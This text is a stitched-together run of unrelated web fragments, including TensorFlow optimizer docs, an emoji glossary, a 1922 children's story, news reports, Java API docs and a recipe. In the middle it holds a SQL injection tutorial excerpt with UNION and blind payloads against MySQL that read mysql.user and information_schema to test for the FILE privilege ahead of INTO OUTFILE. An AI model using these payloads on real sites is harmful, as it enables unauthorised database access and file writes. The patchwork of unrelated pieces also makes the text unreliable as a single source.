An optimizer config is a Python dictionary (serializable) containing the configuration of an optimizer. The same optimizer can be reinstantiated later (without any saved state) from this configuration.
Python dictionary.
get_gradients
get_gradients( loss, params )
Returns gradients of loss
with respect to params
.
loss
: Loss tensor.params
: List of variables.List of gradient tensors.
ValueError
: In case any gradient cannot be computed (e.g. if gradient
function not implemented).get_scaled_loss
get_scaled_loss(loss)
Scales the loss by the loss scale.
This method is only needed if you compute gradients manually, e.g. with
tf.GradientTape
. In that case, call this method to scale the loss before
passing the loss to tf.GradientTape
. If you use
LossScaleOptimizer.minimize
or LossScaleOptimizer.get_gradients
, loss
scaling is automatically applied and this method is unneeded.
If this method is called, get_unscaled_gradients
should also be called.
See the tf.keras.mixed_precision.experimental.LossScaleOptimizer
doc for
an example.
loss
: The loss, which will be multiplied by the loss scale. Can either be
a tensor or a callable returning a tensor.loss
multiplied by LossScaleOptimizer.loss_scale()
.
get_slot
get_slot( var, slot_name )
get_slot_names
get_slot_names()
A list of names for this optimizer's slots.
get_unscaled_gradients
get_unscaled_gradients(grads)
Unscales the gradients by the loss scale.
This method is only needed if you compute gradients manually, e.g. with
tf.GradientTape
. In that case, call this method to unscale the gradients
after computing them with tf.GradientTape
. If you use
LossScaleOptimizer.minimize
or LossScaleOptimizer.get_gradients
, loss
scaling is automatically applied and this method is unneeded.
If this method is called, get_scaled_loss
should also be called. See
the tf.keras.mixed_precision.experimental.LossScaleOptimizer
doc for an
example.
grads
: A list of tensors, each which will be divided by the loss scale.
Can have None values, which are ignored.A new list the same size as grads
, where every non-None value in grads
is divided by LossScaleOptimizer.loss_scale()
.
get_updates
get_updates( loss, params )
get_weights
get_weights()
minimize
minimize( loss, var_list, grad_loss=None, name=None )
Minimize loss
by updating var_list
.
This method simply computes gradient using tf.GradientTape
and calls
apply_gradients()
. If you want to process the gradient before applying
then call tf.GradientTape
and apply_gradients()
explicitly instead
of using this function.
loss
: A callable taking no arguments which returns the value to minimize.var_list
: list or tuple of Variable
objects to update to minimize
loss
, or a callable returning the list or tuple of Variable
objects.
Use callable when the variable list would otherwise be incomplete before
minimize
since the variables are created at the first time loss
is
called.grad_loss
: Optional. A Tensor
holding the gradient computed for loss
.name
: Optional name for the returned operation.An Operation that updates the variables in var_list
. If global_step
was not None
, that operation also increments global_step
.
ValueError
: If some of the variables are not Variable
objects.set_weights
set_weights(weights)
variables
variables()
Returns variables of this Optimizer based on the order created.


.2. After a javascript function runs the following two lines of code,what value does the variable the day contain?
3.After a javascript function runs the following two lines of code,what value does the variable x contain
4.javascript code can be called using?
5.What is the purpose of JS?


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The primary aim in my portraits is to explore what is unseen or unfamiliar in the faces we present to the world. Qualities, feelings, transitions, disappointments, life experiences, dreams and desires are what energize my portraits – all the more so when polarities can be bridged in a single work. My focus is on getting the work to feel like the subject, rather than look like the subject. I am drawn to combine media in an assortment of ways. Collage, charcoal and acrylic or oil on canvas, watercolour, acrylic and charcoal on paper – wet and dry media juxtaposed and overlaid as a way to hold and embrace contradictions in my subject. I find the varied, experimental surfaces create a sense of aliveness, vibrancy and depth. These are tools to lead me intuitively to discoveries in the process of each portrait. Inward reflection, honesty and courage are required on all of our journeys into knowing ourselves fully. My work is about facing ourselves and embracing ourselves in this way; facing and embracing all of who we are.
I studied Fine Art at the Cape Technikon, my interest in portraiture beginning through an introspective process of self-portraits. I am now a professional portrait artist, working on a commission basis. I live with my partner and son in Cape Town.


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|
|
Mobile Phone
This emoji refers less to the mobile phone itself. It is more commonly used in connection with calls: “Pick up the phone!“ or “I need to make a quick call“. |
U+1F4F1 |
|
|
Mobile Phone With Rightwards Arrow at Left
Mobile phone with a pointing arrow. Stands for an incoming call or another action on the mobile phone. |
U+1F4F2 |
|
|
Laptop
Emoji represents the MacBook. Can generally be used in the context of computers or work. “I have to finish this“ or “I want a new laptop“. |
U+1F4BB |
|
🖥 |
Desktop Computer
Take a look at the screen! In general, stands for working on the computer or computer games. Can also mean “I bought a new computer“. |
U+1F5A5 |
|
🖱 |
Computer Mouse
Emoticon shows a white computer mouse with three-button operation (Apple only with one button). Can be used for general computer work. |
U+1F5B1 |
|
🖲 |
Trackball
Trackball to operate the computer. Works like a trackpad or a mouse. Often used in connection with computer games or equipment. Chat partner is busy working on the computer. |
U+1F5B2 |
|
🕹 |
Joystick
I want to gamble another round! Joystick of a slot machine in amusement arcades. Generally refers to computers, consoles and everything that has to do with electronic games. |
U+1F579 |
|
🗜 |
Compression
I'll apply a headlock on you! A metal screw clamp with C-clamp symbolizes the pinching of objects or even people. |
U+1F5DC |
|
|
Video Cassette
Let's watch a movie at home tonight. The video cassette is a nostalgic relic from the 80s. Was very popular until the late 90s. The format was replaced by the DVD. |
U+1F4FC |
|
📸 |
Camera With Flash
Can you take a picture of me? Refers to photography. The fired flash indicates that a picture is being taken. You want to visit a landmark and take pictures there. |
U+1F4F8 |
|
|
Earphone
I am going to call you shortly! Earphone of an old-fashioned, classical landline telephone. Someone is talking on the phone or wants to call the other one. Popular icon in smartphones or graphics for everything around telephony. |
U+1F4DE |
|
🧭 |
Compass
Which direction should I take? The maritime symbol indicates the geographic direction and serves for orientation and navigation. Stands for self-realization and goal-oriented action but also for being rooted at home and for protection during a journey. |
U+1F9ED |
|
|
Alarm Clock
“When shall we meet?” or “Don't forget our date!” The alarm clock often serves as a reminder or to indicate a deadline or urgency. |
U+23F0 |
|
|
Hourglass With Flowing Sand
Time flies ... Represents elapsing time in a particular matter. Can be used as a reminder of something or a warning: “Your time is running out“. |
U+23F3 |
|
|
Bolt And Nut
I'm stuck like a limpet! A metal screw and a matching nut. The emoji is also used in connection with an upcoming repair. |
U+1F529 |
|
⚙ |
Gear
Emoji symbolically shows that something should be fuelled or set in motion. Can also mean “You wheel me in my life!” |
U+2699 |
|
🧱 |
Brick
Currently, our house is still a construction site! Clay bricks are the oldest building material for building houses or castles. Artificially made stone of fired clay or ceramic. May mean joy and happiness or a new beginning. |
U+1F9F1 |
|
|
Electric Light Bulb
The switched-on light bulb means: It just dawned on me! I have just had a brilliant idea! |
U+1F4A1 |
|
|
Flashlight
The flashlight illuminates dark areas. “There is no electricity“, “You're being X-rayed“, or “I know the truth.“ The emoji is also used to symbolize camping and night walks. |
U+1F526 |
|
🧯 |
Fire extinguisher
It is getting pretty hot or someone is playing with fire. The chat partner needs a cooling-down! The fire extinguisher serves as a precautionary measure to fight against a fire. |
U+1F9EF |
|
|
Money With Wings
A stack of banknotes with wings. Chat partner was on shopping tour and spent a lot. The money just flies away. |
U+1F4B8 |
|
|
Euro Banknote
A wad of euro banknotes with package band. The official currency in most European countries. You live in the lap of luxury, spend money like water, or you can have a real good time on vacation. |
U+1F4B6 |
|
|
Gem Stone
Diamonds are a girl's best friends. You are important to me and as precious as a diamond. Diamonds are for eternity. Symbol of luxury and wealth. |
U+1F48E |
|
🧰 |
Tool box
I need to call a craftsman or “No problem, I will fix it myself!“ Practical box for storing and transporting a collection of tools. To announce that you are technically skilled and practically-minded, or that you are in need of (professional) help. |
U+1F9F0 |
|
|
Pistol
To hold a pistol to someone's head. Originally presented as a weapon, now appears as a toy gun. The gun can cause great damage. Is posted if someone is very angry or as a threat. |
U+1F52B |
|
|
Moneybag
A tightly filled moneybag with dollar sign. Used very often in well-known comics, such as those of Scrooge McDuck or the Beagle Boys. Caution! If the emoji is used, the conversation is about money. |
U+1F4B0 |
|
⛓ |
Chain
Stop yanking my chain! or “A chain is only as strong as its weakest link“. Symbol for things that are interconnected. |
U+26D3 |
|
🧲 |
Magnet
You are like a magnet to me! or “The band mates are babe magnets“. A magnet always has two poles: Opposing poles attract each other, the same ones repel each other. Someone or something exerts a strong pull. |
U+1F9F2 |
|
🧨 |
Fireworks
You are a grenade! or “Beware, explosive!“ Firecrackers or bangers denote the pyrotechnic object that produces a bang. Fireworks for New Year's Eve, signal ammunition or artistic performances (stage bang). |
U+1F9E8 |
|
|
Bomb
„Let's bomb down the motorway!“, „This place looks like it's been hit by a bomb.“ or „Thanks a bomb“! Emoticon of a bomb that will explode any moment. Could mean anger or a very tense feeling on the side of the chat partner. |
U+1F4A3 |
|
|
Japanese Kitchen Knife
A Hocho is a Japanese kitchen knife. Used for mincing food. You are belligerent or something is terrifying. Known idioms are e.g. “to get one's knife out“ in disputes or “to stab someone in the back“ in betrayal. |
U+1F52A |
|
🛡 |
Shield
We must protect ourselves! The buckler emoji conveys protection and security. This symbol can often be found with antivirus software. |
U+1F6E1 |
|
|
Cigarette
“I'm going to have a smoke” or “I'm nervous.” The cigarette is a symbol of enjoyment of life and inspiration. Can also mean that smoking is permitted here. |
U+1F6AC |
|
⚰ |
Coffin
Rest in peace! Can indicate a case of death in the family or in the circle of friends. In addition, it symbolizes the valediction from things long gone. |
U+26B0 |
|
|
Crystal Ball
What will happen? The crystal ball symbolizes supernatural perceptions. Is used to look ahead and predict the future. |
U+1F52E |
|
📿 |
Prayer Beads
A prayer chain, which is used by many religions. Stands for prayer, meditation, or religious spirituality. |
U+1F4FF |
|
🧿 |
Nazar amulet
Someone is superstitious or is going to Turkey on vacation. A relationship or a person is toxic. The blue, eye-shaped amulet can be found in oriental countries. It is believed to ward off the evil eye, which brings mischief. |
U+1F9FF |
|
⚗ |
Alembic
Glass vessel with long downward neck. Used by chemists to distill liquids. Can mean that someone loves experiments or is brewing something. |
U+2697 |
|
🕳 |
Hole
Deep, black hole means: I am very embarrassed about something and feeling awkward. I just want to sink into a hole right now. |
U+1F573 |
|
|
Pill
Swallow the bitter pill. Symbol for medicine: I'm not feeling well! Represents illness or indisposition. |
U+1F48A |
|
|
Syringe
Syringe with reddish contents. Can mean: I have to go to the doctor (blood test). Also used as a symbol for drug consumption. |
U+1F489 |
|
🦠 |
Microbe
Beware, contagious or “Biology is my favorite subject“. Microbe is the short form of microorganism. Among the microscopic creatures are, e.g. bacteria, fungi or viruses. Most microorganisms are useful and only a few cause disease. |
U+1F9A0 |
|
🧬 |
DNA double helix
We want a baby! Greatly enlarged, the deoxyribonucleic acid (DNA) looks like a twisted rope ladder. It is located in every single cell of a living being and contains the genetic information (genes). Symbol for genetics, evolution and life. |
U+1F9EC |
|
🧫 |
Petri dish
Biology is my favorite subject or “I have a bacterial infection”. Flat, round, transparent dish with lid, mostly used in chemistry, biology or medicine. For the cultivation of microorganisms or cell cultures. |
U+1F9EB |
|
🧪 |
Test tube
You had better not dare any experiments or “There is a good chemistry between the two of us“. The small tubes made of glass are open on one side and are used in laboratories. Represents chemistry lessons, experiments or tests. |
U+1F9EA |
|
🧹 |
Broom
He is as daft as a brush, “New brooms sweep clean“ or “I got the brush-off”. The cleaning instrument brings order (to the house, to your life) and it sweeps away rubbish and dirt (or worries). Symbol of superstition and magic, e.g. the witches' broom. |
U+1F9F9 |
|
🧺 |
Basket
The ballplayer made a basket, “Let's have a picnic“ or “I have to wash my clothes“. The braided basket is mostly made of wood and used for storage, protection, or transport. |
U+1F9FA |
|
🧻 |
Paper roll
Go shopping, please or “You can wipe your butt with it“. Be it kitchen roll, toilet paper or paper towels – mostly intended for single use and serving for cleaning and hygiene. |
U+1F9FB |
|
|
Toilet
I'm in the john, don't disturb me! or “He is joyriding the porcelain bus.“ November 19 of each year is World Toilet Day. Approximately 60% of the world's population do not have a toilet at home. |
U+1F6BD |
|
🧼 |
Bar of soap
You are watching your favorite soap opera or want to whitewash your reputation. Soap is mainly used for body cleansing. Represents cleanliness and hygiene. |
U+1F9FC |
|
🧽 |
Sponge
Sponge on others or throw in the sponge. The sponge is used for washing and cleaning the home, the body, or the car. |
U+1F9FD |
|
🧴 |
Lotion bottle
I have to go to the drugstore or “Let's have a spa day again“. The pump bottle may contain various lotions, e.g. moisturizing cream for your hands and the body, or sunscreen. Represents body care, pampering and well-being. |
U+1F9F4 |
|
|
Key
Golden key as an object: “I need my keys” or “Do not forget your keys”. Symbolic meaning: “This is very important!” |
U+1F511 |
|
🗝 |
Antique Key
A decorated old key that can be used to open chests or antique doors. Has more symbolic meaning, can also be used in the context of fairy tales and stories. |
U+1F5DD |
|
🛏 |
Bed
I am confined to bed or “It's time to go to bed“. The cozy bed is one of the most important pieces of furniture. It represents rest, relaxation and sleep. |
U+1F6CF |
|
🧸 |
Teddy bear
The stuffed animal is a popular toy for children and a childhood companion. The cuddly teddy bear is a symbol of nostalgia, of beautiful memories as well as security and protection. |
U+1F9F8 |
|
🖼 |
Framed Picture
This work of art in the frame can point to the photo of a person or that the chat partner is going to take photos. Also used to indicate art or a visit to the museum. |
U+1F5BC |
|
🛍 |
Shopping bags
Let's go shopping! The city stroll was successful, the credit card is still burning. Women love shopping, which is often annoying for men. May also relate to clothing, food or other consumer goods. |
U+1F6CD |
|
|
Bookmark
The bookmark flags the last read page in a book. Means: I am done with reading. The emoji is also known as a price label. |
U+1F516 |
|
|
Moai
Moai are stone figures on Easter Island. There is also such a statue in Tokyo. Serve as the connecting link to the hereafter. They represent traveling, the miracles of the world, and myths of mankind. |
U+1F5FF |
|
|
Balloon
Let's be happy and have fun! The red balloon is a symbol of joy. Can also symbolize your own uniqueness. |
U+1F388 |
|
|
Izakaya Paper Lantern
Traditional Japanese Izakaya lantern. These lanterns are often found at the front door of traditional Japanese restaurants. The emoji can be understood as an invitation. |
U+1F3EE |
|
|
Ribbon
A bow is typically used to decorate and beautify something, such as a gift. The pink ribbon stands for femininity and romance or girlishness. Also known as a symbol for the knowledge of breast cancer. |
U+1F380 |
|
|
Confetti Ball
Congratulations! Symbol of all kinds of celebration: from birthday to the wedding to New Year's Eve. At the end of the event, a confetti ball has opened, colorful confetti are falling out: let's party! Expression of joy, fun, and community. |
U+1F38A |
|
|
Party Popper
Happy Birthday! The confetti bomb explodes in a fountain of paper streamers and confetti. A party might be in progress or someone has been successful and is very happy about something. |
U+1F389 |
|
|
Japanese Dolls
At the annual unofficial Japanese holiday Hina-Matsuri (girls' festival) dolls are set up. They are meant to banish evil spirits and bring the girls good health as well as luck with their mate choice. Symbol of Japan. |
U+1F38E |
|
|
Wind Chime
The Japanese wind chime (Furin) made of glass is a symbol of the summer. In light wind delicate tones sound. Not just a decoration, but a lucky charm in Asia. Used in Feng Shui to maximize chi and life energy. |
U+1F390 |
|
🧧 |
Red gift envelope
I wish for money for my birthday! At Chinese festivals or weddings people almost always present gifts of money in red envelopes (Hong Bao). Symbol of prosperity, destiny and happiness. |
U+1F9E7 |
|
|
Envelope
A closed envelope stands for receiving or sending e-mails, messages or a letter. “I received a message“ or “I have to write an e-mail“. |
U+2709 |
|
|
Love Letter
The white envelope, sealed with a heart, contains a love letter. With a heartfelt message. Symbolizes love and romance. Expresses affection or invites to a date. |
U+1F48C |
|
🏷 |
Label
Glued or pinned information sign. Provides information on content, price, expiration date, etc. for goods or items. You can also 'label' people and place them in a specific category, e.g. superficial. |
U+1F3F7 |
|
🧾 |
Sales receipt
I paid my dues!, “Can you pick up the bill for me?“ or “I have to exchange those jeans again“. The receipt serves as proof that a product or service has been purchased or paid for. |
U+1F9FE |
|
|
Bar Chart
Charts can be used to visualize information. They are usually clearer than text and are used for comparison: the higher the bar, the larger the number. Can be used in conjunction with school or work. |
U+1F4CA |
|
|
Chart With Uptrend
A line chart helps to show developments over time. For stocks or finances, an uptrend is a good sign. Also: the business is going well. Can generally be used to signal: Things are looking up! |
U+1F4C8 |
|
🧷 |
Safety pin
My pants are ripped! The safety pin is the savior in distress. Has been helping to close clothes for thousands of years. Was the diaper holder and precursor of the brooch. Jewelry in the punk scene and symbol of solidarity. |
U+1F9F7 |
|
🧮 |
Abacus
I have to calculate that first! The board with the sliding pieces serves as a calculation help for children today.  Was widespread in the Middle Ages. |
U+1F9EE |
|
|
Round Pushpin
I mustn't forget! Red drawing pin with round plastic head. Used to indicate your own position during navigation. Can also represent sewing. |
U+1F4CD |
|
|
Crossed Flags
Two crossed Japanese flags. They are a sign of solidarity toward their origin. The red dot on white background symbolizes the rising sun. |
U+1F38C |
|
|
Lock With Ink Pen
Blocked padlock with fountain pen. Confidential data is encrypted and secure, sensitive information has been digitally signed. |
U+1F50F |
|
|
Open Lock
An open padlock. “Something is open to you or available”, or: “I'm going to uncover something that has been a secret up to now”. Also possible: “Caution, this information is not secure!” |
U+1F513 |
|
|
Lock
Closed padlock. The object or the information is not available to you, or you keep it safe and protected. Caution! A symbol of confidentiality! |
U+1F512 |
|
|
Closed Lock With Key
Symbol of security. “The information is safe” or “Nobody else will find out!” A friend confides a secret to you and counts on your keeping it safe in your hands. |
U+1F510 |


FILE Privilege
Once we know the current username we can check the FILE privilege for this user.
First we try to access the mysql.user table (MySQL 4/5):
0′ UNION SELECT file_priv,null FROM mysql.user WHERE user = ‘username
You can also have a look at the whole mysql.user table without the WHERE clause, but I chose this way because you can easily adapt the injection for blind SQL injection:
1′ AND MID((SELECT file_priv FROM mysql.user WHERE user = ‘username’),1,1) = ‘Y
You can also recieve the FILE privilege info from the information.schema table on MySQL 5:
0′ UNION SELECT grantee,is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username%
blindly:
1′ AND MID((SELECT is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username%’),1,1)=’Y
If you can’t access the mysql.user or information_schema table (default) just go ahead and try.
If you figured out that you have no FILE privileges you can’t successfully use INTO OUTFILE.


Anna Henson
Home
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Reflection- Foundation Core Skills


Whitefoot the Woodmouse
by Thornton W. Burgess
"The Surprise"
Additional Information
- Year Published: 1922
- Language: English
- Country of Origin: United States of America
- Source: Burgess T. W. (1922). Whitefoot the Woodmouse Boston: Little, Brown & Co..
-
Readability:
- Flesch–Kincaid Level: 4.5
- Word Count: 779
- Genre: Fantasy
- Keywords: 20th century literature, american literature, life lessons, nature
- ✎ Cite This
Downloads
Surprises sometimes are so great
You’re tempted to believe in fate.
—Whitefoot.
One never-to-be forgotten evening Whitefoot met Mrs. Whitefoot and she invited him to come back to their home. Of course Whitefoot was delighted.
“Sh-h-h,” said little Mrs. Whitefoot, as Whitefoot entered the snug little room of the house they had built in the old nest of Melody the Wood Thrush. Whitefoot hesitated. In the first place, it was dark in there. In the second place, he had the feeling that somehow that little bedroom seemed crowded. It hadn’t been that way the last time he was there. Mrs. Whitefoot was right in front of him, and she seemed very much excited about something.
Presently she crowded to one side. “Come here and look,” said she.
Whitefoot looked. In the middle of a soft bed of moss was a squirming mass of legs and funny little heads. At first that was all Whitefoot could make out.
“Don’t you think this is the most wonderful surprise that ever was?” whispered little Mrs. Whitefoot. “Aren’t they darlings? Aren’t you proud of them?”
By this time Whitefoot had made out that that squirming mass of legs and heads was composed of baby Mice. He counted them. There were four. “Whose are they, and what are they doing here?” Whitefoot asked in a queer voice.
 “Did you ever, ever see such beautiful babies? Now I guess you understand why I kept you away from here.”
Whitefoot shook his head. “No,” said he, “I don’t understand at all.  It wouldn’t have done to have had you running in and out and disturbing them when they were so tiny. I had to be alone with them, and that is why I made you go off and live by yourself. I am so proud of them, I don’t know what to do. Aren’t you proud, Whitefoot? Aren’t you the proudest Wood Mouse in all the Green Forest?”
Of course Whitefoot should have promptly said that he was, but the truth is, Whitefoot wasn’t proud at all. You see, he was so surprised that he hadn’t yet had time to feel that they were really his. In fact, just then he felt a wee bit jealous of them. It came over him that they would take all the time and attention of little Mrs. Whitefoot. So Whitefoot didn’t answer that question. He simply sat and stared at those four squirming babies.
Finally little Mrs. Whitefoot gently pushed him out and followed him. “Of course,” said she, “there isn’t room for you to stay here now. You will have to sleep in your old home because there isn’t room in here for both of us and the babies too.”
Whitefoot’s heart sank. He had thought that he was to stay and that everything would be just as it had been before. “Can’t I come over here any more?” he asked rather timidly.
 “Of course you can. You will have to help take care of these babies. Just as soon as they are big enough, you will have to help teach them how to hunt for food and how to watch out for danger, and all the things that a wise Wood Mouse knows. Why, they couldn’t get along without you. Neither could I,” she added softly.
At that Whitefoot felt better.  It was the beginning of pride, pride in those wonderful babies.
“You have given me the best surprise that ever was, my dear,” said Whitefoot softly. “Now I think I will go and look for some supper.”
So now we will leave Whitefoot and his family. You see there are two very lively little people of the Green Forest who demand attention and insist on having it. They are Buster Bear’s Twins, and this is to be the title of the next book.


ObsEva IVF nolasiban drug flops in key European trial
ZURICH: Swiss-listed drugmaker ObsEva said on Thursday it is abandoning the current program for its drug prospect nolasiban after the agent aimed at boosting pregnancy following in-vitro fertilization (IVF) failed a late-stage study in Europe.
Nolasiban did not meet the primary endpoint of an increase in ongoing pregnancy at 10 weeks, with 39.1per cent of women who got the placebo experiencing an ongoing pregnancy, compared with 40.5per cent of women who got nolasiban, the company said in a statement.
This proposed use of nolasiban, an oral oxytocin receptor antagonist licensed from Merck KGaA to help women getting IVF therapy, had been a central part of ObsEva's plans. The trial failure leaves the company with drug candidates for endometriosis and potentially dangerous pre-term labor.
"We are extremely disappointed with these unexpected results, not in the least for the millions of women hoping to have a baby through IVF," said Ernest Loumaye, a gynaecologist and former Serono drug developer who founded ObsEva.
"We have decided to discontinue the current nolasiban IVF program and will explore potential repositioning of the product candidate."
ObsEva added a share listing in Switzerland last year, in addition to trading on the Nasdaq in the United States starting in 2017. The shares are down 36per cent this year.
(Reporting by John Miller; Editing by Michael Shields)


mode: string
The mode you want to use for the request, e.g., cors, no-cors, same-origin, or navigate. The default is cors. In Chrome the default is no-cors before Chrome 47 and same-origin starting with Chrome 47.
mode: string
The mode you want to use for the request, e.g., cors, no-cors, same-origin, or navigate. The default is cors. In Chrome the default is no-cors before Chrome 47 and same-origin starting with Chrome 47.


{include file="public/link" /}
{include file="public/menu" /} {include file="public/nav" /} {include file="public/theme" /} {include file="public/mimi" /}


Trump to meet with vaping industry on vaping, e-cigarettes
U.S. President Donald Trump said on Monday he will be meeting with vaping industry officials as well as medical and political officials to discuss vaping and e-cigarettes.
WASHINGTON: U.S. President Donald Trump said on Monday he will be meeting with vaping industry officials as well as medical and political officials to discuss vaping and e-cigarettes, amid a nationwide outbreak of injuries and deaths linked to the products.
"Will be meeting with representatives of the Vaping industry, together with medical professionals and individual state representatives, to come up with an acceptable solution to the Vaping and E-cigarette dilemma. Children’s health & safety, together with jobs, will be a focus!" he wrote on Twitter.
Trump did not give a time for the meeting. He said on Friday that his administration would issue its final report on such products next week.
On Thursday, the CDC reported there have been 2,051 confirmed and probable U.S. lung injury cases and 39 deaths associated with use of e-cigarettes, or vaping products. Nearly 85 percent of lung injury patients in the nationwide outbreak have reported using products containing THC, the component of marijuana that gets people high.
In the CDC analysis, THC was detected in 23 of 28 patient samples of lung cells, including from three patients who said they did not use THC products. Nicotine was detected in 16 of 26 patient samples.
U.S. public health officials have recommended that people avoid using e-cigarettes that contain THC or any products that come from illicit sources.
(Reporting by Doina Chiacu; Editing by Chizu Nomiyama and Jonathan Oatis)


ledger
/
net.corda.v5.ledger.contracts
/
StateAndContract
/
state
state
val
state
:
ContractState
A state
Property
state
- A state


This playlist is designed as a sampler of the early material discussed in my paper 'Don't Make Me Go Outside: Feminine melancholy, recovery, and rejecting resilience through electronic music'.
They were all made in bed, on an iPad mini in either Nanostudio or Korg Gadget, with the exception of The Waves, a slightly later song which was re-tracked (also in bed) on an OP-1 miniature synthesiser, my preferred device now that I'm more mobile and have disposable income again.
If you have further questions or comments about my talk or practice, please don't hesistate to get in touch at<EMAIL_ADDRESS>You can also find the rest of my music at Deerful.com, my Bandcamp or my Soundcloud.
The text of the talk is available here.


The Musical Dice (explanation) |
|
| Description | A similar principle to the Randomized Music example, except that in this example the user is allowed to interact with a "musical dice" to select a genre from which to play music. Each day, a new selection of files is available for each genre. |
| Methods Used | play, stubEmbed |
| Skill Level | Intermediate |
| Start... |


 Holisticly matrix standards compliant alignments whereas stand-alone core competencies. Professionally underwhelm process-centric users and value-added sources. Globally whiteboard goal-oriented leadership with process-centric opportunities. Dynamically monetize granular technologies for impactful imperatives. Compellingly extend wireless scenarios after open-source results. Progressively leverage existing.
Perspiciatis ad eveniet ea quasi debitis quos laborum eum reprehenderit eaque explicabo assumenda rem modi.
- Dynamic Color Options
- Lots of Size Options
- 30-Day Return Policy
Product Details
| Item | Description |
|---|---|
| Display | Analogue |
| Movement | Quartz |
| Power source | Battery |
| Dial style | Solid round stainless steel dial |
| Features | Reset Time |
| Strap style | Silver-Toned bracelet style, stainless steel strap with a foldover closure |
| Water resistance | Yes |
| Warranty | 3 Months |
Size & Fit
| Dial width | 40 mm |
| Strap Width | 20 mm |
Similar Products
Conveniently network effective total linkage via intermandated opportunities. Distinctively<EMAIL_ADDRESS>premium products.


Falk:
I see that you're an adventurer from a foreign land. Would you consider helping me? If you do, I'll help smooth your dealings with others in my Caravan group.
Help Falk.


|
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| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
IEssSmartList Interface
| Field Summary | |
static short |
ESS_VERIFY_ALL
|
static short |
ESS_VERIFY_DEFER
|
static short |
ESS_VERIFY_NAMEONLY
|
static short |
ESS_VERIFY_ORDER_DEPENDENT
|
static short |
ESS_VERIFY_ORDER_INDEPENDENT
|
| Method Summary | |
void |
delete()
Deletes the smartlist. |
void |
exportSmartList(java.lang.String fileName)
Exports the smartlist to the file specified on the client side. |
long[] |
getIDs()
Returns the list of IDs of the smartlist. |
IEssIterator |
getReferenceMembers(int maxCount)
Gets the all members that refer this smartlist. |
int |
getReferenceMembersCount()
Gets the count of members that refer this smartlist. |
java.lang.String[] |
getText()
Returns the list of texts of the smartlist |
void |
importSmartList(java.lang.String fileName)
Imports the smartlist from the given file on the client side. |
void |
putSmartList(long[] IDs,
java.lang.String[] text)
Assigns SmartList to the Ids and text in IDs and Text specified, in the given order. |
| Methods inherited from interface com.essbase.api.base.IEssExtendedObject |
clearClientCache, getName, getParent, getParentBase, isClientCachingEnabled, setClientCachingEnabled |
| Field Detail |
public static final short ESS_VERIFY_ALL
public static final short ESS_VERIFY_ORDER_INDEPENDENT
public static final short ESS_VERIFY_ORDER_DEPENDENT
public static final short ESS_VERIFY_DEFER
public static final short ESS_VERIFY_NAMEONLY
| Method Detail |
public long[] getIDs()
public java.lang.String[] getText()
public void importSmartList(java.lang.String fileName) throws com.essbase.api.base.EssException
fileName
- - Full path of the file from which the smartlist is to be imported.
com.essbase.api.base.EssException
- when an error occurs.public void exportSmartList(java.lang.String fileName) throws com.essbase.api.base.EssException
fileName
- - Full path of the file to which the smartlist is to be exported.
com.essbase.api.base.EssException
- when an error occurs.public void putSmartList(long[] IDs, java.lang.String[] text) throws com.essbase.api.base.EssException
IDs
- - List of IDs to be assigned.text
- - List of text to be assigned.
com.essbase.api.base.EssException
public void delete() throws com.essbase.api.base.EssException
One cannot delete smart list object with out removing references.
com.essbase.api.base.EssException
public int getReferenceMembersCount() throws com.essbase.api.base.EssException
com.essbase.api.base.EssException
- if an error occurs.public IEssIterator getReferenceMembers(int maxCount) throws com.essbase.api.base.EssException
maxCount
- - Count of max outline members.
com.essbase.api.base.EssException
- if an error occurs.
|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |


First Black Female Judge Nominated to San Francisco Appeals Court
by MARIA DINZEO(CN) – With a nomination by Gov. Gavin Newsom on Tuesday, Judge Teri Jackson could become the first black female justice in the San Francisco-based First Appellate District.
Jackson, 63, is currently a trial judge in San Francisco, where she served as presiding judge from 2017 until this past January. Gov.
As a trial judge, Jackson presided over a criminal calendar before taking over the court’s complex civil litigation department. More recently, Jackson is overseeing an upcoming trial to determine PG&E’s liability for the 2017 Tubbs Fire.
In a statement Tuesday, Jackson said she is “honored and privileged to continue to serve this great state as an appellate justice.”
Born in San Francisco to parents from Louisiana, Jackson earned her law degree from Georgetown University. “I went back east to go to law school, but after law school, I wanted to come back here,” she told San Francisco Attorney magazine in a 2018 interview.
Along with her sister Portia, Jackson and her parents were the first black family to buy a house in Daly City, and the discrimination they faced left an indelible impression on her.
“For a long time, we all slept in the same bed. If they should firebomb, if they should start shooting, my mom wanted to be able to get to her children quickly so we could escape. That’s how we grew up,” she told the magazine for the San Francisco Bar Association, noting that over the years, her parents became best friends with the neighbors who once tried to prevent them from moving in.
After a three-year stint in the San Mateo County District Attorney’s Office in the 1980s, Jackson served as an assistant district attorney in San Francisco from 1984 to 1997. She then worked for the law firm Orrick, Herrington & Sutcliffe LLP until 2002. She currently teaches law at the University of San Francisco and UC Hastings College of the Law.
Jackson must still be approved by the Commission on Judicial Appointments, a three-member panel comprised of Chief Justice Tani Cantil-Sakauye, state Attorney General Xavier Becerra and Senior Presiding Justice J. Anthony Kline of the First Appellate District.
Copyright © 2019 courthousenews.com


Delicious
THE BEST FOOD BLOG ON THE WEB
POSTED ON 15 DEC 2013 / DESERTS
For the fig-swirlL Melt butter over medium heat in a saucepan. Add brown sugar and stir to dissolve. Halve all of the figs and toss in the saucepan with water and lemon juice. Cook over medium heat, stirring frequently, until you have a chunky-jammy mixture. Add salt with one or two stirs, set aside and let cool completely.
Ice cream: In a sall pot over medium heat, combine milk, and granulated sugar until sugar is completely dissolved and the milk is just barely lukewarm. Whisk in the egg yolks. Set mixture in the fridge and wait until the fig mixture is cooled.
Using an ice cream maching, pour liquids into the frozen basin and process according to manufacturer instructions, i.e., let spin and thickcen for 20 minutes before adding mascarpone, fig jam mixture, and the nuts. Continue to process for +/- 10 minutes. Pour semi-frozen mixture into a pyrex dish or glass tupperware. Freeze for at least two hours before serving.
Food enthusiast, photography fan. Add a pinch of raw foodism and that's pretty much who I am.


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El hafedh Cheikh
Ethman Mahfoud Nounou
Mesre Mohamed Lemine Sabeima
Khadijetou Cheikh Mohamed Vadel
Bechir Ahmed
Khadija Cheikhna
Mohamed El Moustapha Cheikh Ahmed
